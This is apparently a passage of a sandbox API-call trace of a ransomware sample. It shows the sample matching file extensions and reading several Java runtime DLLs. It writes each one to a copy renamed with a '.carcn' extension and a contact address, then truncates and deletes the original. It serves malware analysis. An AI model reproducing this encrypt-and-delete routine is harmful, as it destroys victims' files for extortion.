lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0302.615] lstrlenW (lpString=".bz2") returned 4 [0302.615] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0302.615] lstrlenW (lpString=".7z") returned 3 [0302.615] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0302.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0302.615] lstrlenW (lpString=".dbf") returned 4 [0302.615] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0302.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0302.615] lstrlenW (lpString=".1cd") returned 4 [0302.615] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0302.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0302.615] lstrlenW (lpString=".jpg") returned 4 [0302.615] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0302.615] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0302.615] lstrlenW (lpString="lcms.dll") returned 8 [0302.615] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0302.616] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=233536) returned 1 [0302.616] CloseHandle (hObject=0x364) returned 1 [0302.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20 [0302.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.616] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0302.616] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.616] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.616] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0302.617] GetLastError () returned 0x0 [0302.617] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x39040, lpOverlapped=0x0) returned 1 [0303.008] WriteFile (in: hFile=0x390, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x39050, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x39050, lpOverlapped=0x0) returned 1 [0303.012] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.013] WriteFile (in: hFile=0x390, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe4, lpOverlapped=0x0) returned 1 [0303.013] SetEndOfFile (hFile=0x390) returned 1 [0303.013] CloseHandle (hObject=0x390) returned 1 [0303.013] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.013] SetEndOfFile (hFile=0x364) returned 1 [0303.015] CloseHandle (hObject=0x364) returned 1 [0303.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0303.016] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 1 [0303.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0303.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0303.016] lstrlenW (lpString=".doc") returned 4 [0303.016] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.016] lstrlenW (lpString=".docx") returned 5 [0303.016] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0303.016] lstrlenW (lpString=".pdf") returned 4 [0303.016] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.016] lstrlenW (lpString=".xls") returned 4 [0303.016] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.016] lstrlenW (lpString=".xlsx") returned 5 [0303.016] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0303.017] lstrlenW (lpString=".ppt") returned 4 [0303.017] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0303.017] lstrlenW (lpString=".zip") returned 4 [0303.017] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.017] lstrlenW (lpString=".rar") returned 4 [0303.017] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.017] lstrlenW (lpString=".bz2") returned 4 [0303.017] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.017] lstrlenW (lpString=".7z") returned 3 [0303.017] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0303.017] lstrlenW (lpString=".dbf") returned 4 [0303.017] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0303.017] lstrlenW (lpString=".1cd") returned 4 [0303.017] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0303.017] lstrlenW (lpString=".jpg") returned 4 [0303.017] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0303.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0303.017] lstrlenW (lpString=".doc") returned 4 [0303.017] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.017] lstrlenW (lpString=".docx") returned 5 [0303.017] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0303.017] lstrlenW (lpString=".pdf") returned 4 [0303.017] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.017] lstrlenW (lpString=".xls") returned 4 [0303.017] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.018] lstrlenW (lpString=".xlsx") returned 5 [0303.018] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0303.018] lstrlenW (lpString=".ppt") returned 4 [0303.018] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0303.018] lstrlenW (lpString=".zip") returned 4 [0303.018] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.018] lstrlenW (lpString=".rar") returned 4 [0303.018] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.018] lstrlenW (lpString=".bz2") returned 4 [0303.018] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.018] lstrlenW (lpString=".7z") returned 3 [0303.018] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0303.018] lstrlenW (lpString=".dbf") returned 4 [0303.018] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0303.018] lstrlenW (lpString=".1cd") returned 4 [0303.018] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0303.018] lstrlenW (lpString=".jpg") returned 4 [0303.018] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.018] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0303.018] lstrlenW (lpString="msvcr100.dll") returned 12 [0303.018] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0303.019] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=829264) returned 1 [0303.019] CloseHandle (hObject=0x364) returned 1 [0303.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20 [0303.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0303.019] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0303.019] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.020] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.020] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0303.020] GetLastError () returned 0x0 [0303.020] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xca750, lpOverlapped=0x0) returned 1 [0303.513] WriteFile (in: hFile=0x390, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xca760, lpOverlapped=0x0) returned 1 [0303.527] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.527] WriteFile (in: hFile=0x390, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.528] SetEndOfFile (hFile=0x390) returned 1 [0303.528] CloseHandle (hObject=0x390) returned 1 [0303.528] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.528] SetEndOfFile (hFile=0x364) returned 1 [0303.791] CloseHandle (hObject=0x364) returned 1 [0303.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0303.792] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 1 [0303.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0303.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0303.792] lstrlenW (lpString=".doc") returned 4 [0303.792] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.792] lstrlenW (lpString=".docx") returned 5 [0303.792] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0303.792] lstrlenW (lpString=".pdf") returned 4 [0303.792] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.792] lstrlenW (lpString=".xls") returned 4 [0303.792] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.792] lstrlenW (lpString=".xlsx") returned 5 [0303.792] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0303.792] lstrlenW (lpString=".ppt") returned 4 [0303.792] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.792] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0303.792] lstrlenW (lpString=".zip") returned 4 [0303.792] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.792] lstrlenW (lpString=".rar") returned 4 [0303.792] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.792] lstrlenW (lpString=".bz2") returned 4 [0303.792] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.792] lstrlenW (lpString=".7z") returned 3 [0303.793] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0303.793] lstrlenW (lpString=".dbf") returned 4 [0303.793] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0303.793] lstrlenW (lpString=".1cd") returned 4 [0303.793] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0303.793] lstrlenW (lpString=".jpg") returned 4 [0303.793] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0303.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0303.793] lstrlenW (lpString=".doc") returned 4 [0303.793] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.793] lstrlenW (lpString=".docx") returned 5 [0303.793] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0303.793] lstrlenW (lpString=".pdf") returned 4 [0303.793] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.793] lstrlenW (lpString=".xls") returned 4 [0303.793] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.793] lstrlenW (lpString=".xlsx") returned 5 [0303.793] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0303.793] lstrlenW (lpString=".ppt") returned 4 [0303.793] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0303.793] lstrlenW (lpString=".zip") returned 4 [0303.793] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.793] lstrlenW (lpString=".rar") returned 4 [0303.793] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.793] lstrlenW (lpString=".bz2") returned 4 [0303.793] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.793] lstrlenW (lpString=".7z") returned 3 [0303.793] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.793] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0303.793] lstrlenW (lpString=".dbf") returned 4 [0303.793] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0303.794] lstrlenW (lpString=".1cd") returned 4 [0303.794] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0303.794] lstrlenW (lpString=".jpg") returned 4 [0303.794] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.794] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0303.794] lstrlenW (lpString="net.dll") returned 7 [0303.794] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0303.794] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=96832) returned 1 [0303.794] CloseHandle (hObject=0x364) returned 1 [0303.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 0x20 [0303.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0303.795] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0303.795] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.795] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.795] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0303.795] GetLastError () returned 0x0 [0303.795] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x17a40, lpOverlapped=0x0) returned 1 [0304.028] WriteFile (in: hFile=0x37c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x17a50, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x17a50, lpOverlapped=0x0) returned 1 [0304.031] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.031] WriteFile (in: hFile=0x37c, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe2, lpOverlapped=0x0) returned 1 [0304.031] SetEndOfFile (hFile=0x37c) returned 1 [0304.031] CloseHandle (hObject=0x37c) returned 1 [0304.031] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.031] SetEndOfFile (hFile=0x364) returned 1 [0304.033] CloseHandle (hObject=0x364) returned 1 [0304.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.193] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 1 [0304.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0304.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0304.193] lstrlenW (lpString=".doc") returned 4 [0304.193] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.193] lstrlenW (lpString=".docx") returned 5 [0304.193] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0304.193] lstrlenW (lpString=".pdf") returned 4 [0304.193] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.193] lstrlenW (lpString=".xls") returned 4 [0304.194] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.194] lstrlenW (lpString=".xlsx") returned 5 [0304.194] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0304.194] lstrlenW (lpString=".ppt") returned 4 [0304.194] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0304.194] lstrlenW (lpString=".zip") returned 4 [0304.194] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.194] lstrlenW (lpString=".rar") returned 4 [0304.194] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.194] lstrlenW (lpString=".bz2") returned 4 [0304.194] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.194] lstrlenW (lpString=".7z") returned 3 [0304.194] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0304.194] lstrlenW (lpString=".dbf") returned 4 [0304.194] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0304.194] lstrlenW (lpString=".1cd") returned 4 [0304.194] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0304.194] lstrlenW (lpString=".jpg") returned 4 [0304.194] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0304.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0304.194] lstrlenW (lpString=".doc") returned 4 [0304.194] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.194] lstrlenW (lpString=".docx") returned 5 [0304.194] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0304.194] lstrlenW (lpString=".pdf") returned 4 [0304.194] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.194] lstrlenW (lpString=".xls") returned 4 [0304.194] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.194] lstrlenW (lpString=".xlsx") returned 5 [0304.194] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0304.194] lstrlenW (lpString=".ppt") returned 4 [0304.194] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0304.195] lstrlenW (lpString=".zip") returned 4 [0304.195] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.195] lstrlenW (lpString=".rar") returned 4 [0304.195] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.195] lstrlenW (lpString=".bz2") returned 4 [0304.195] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.195] lstrlenW (lpString=".7z") returned 3 [0304.195] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0304.195] lstrlenW (lpString=".dbf") returned 4 [0304.195] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0304.195] lstrlenW (lpString=".1cd") returned 4 [0304.195] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0304.195] lstrlenW (lpString=".jpg") returned 4 [0304.195] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.195] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0304.195] lstrlenW (lpString="msvcr100.dll") returned 12 [0304.195] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0304.196] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=829264) returned 1 [0304.196] CloseHandle (hObject=0x37c) returned 1 [0304.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 0x20 [0304.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program 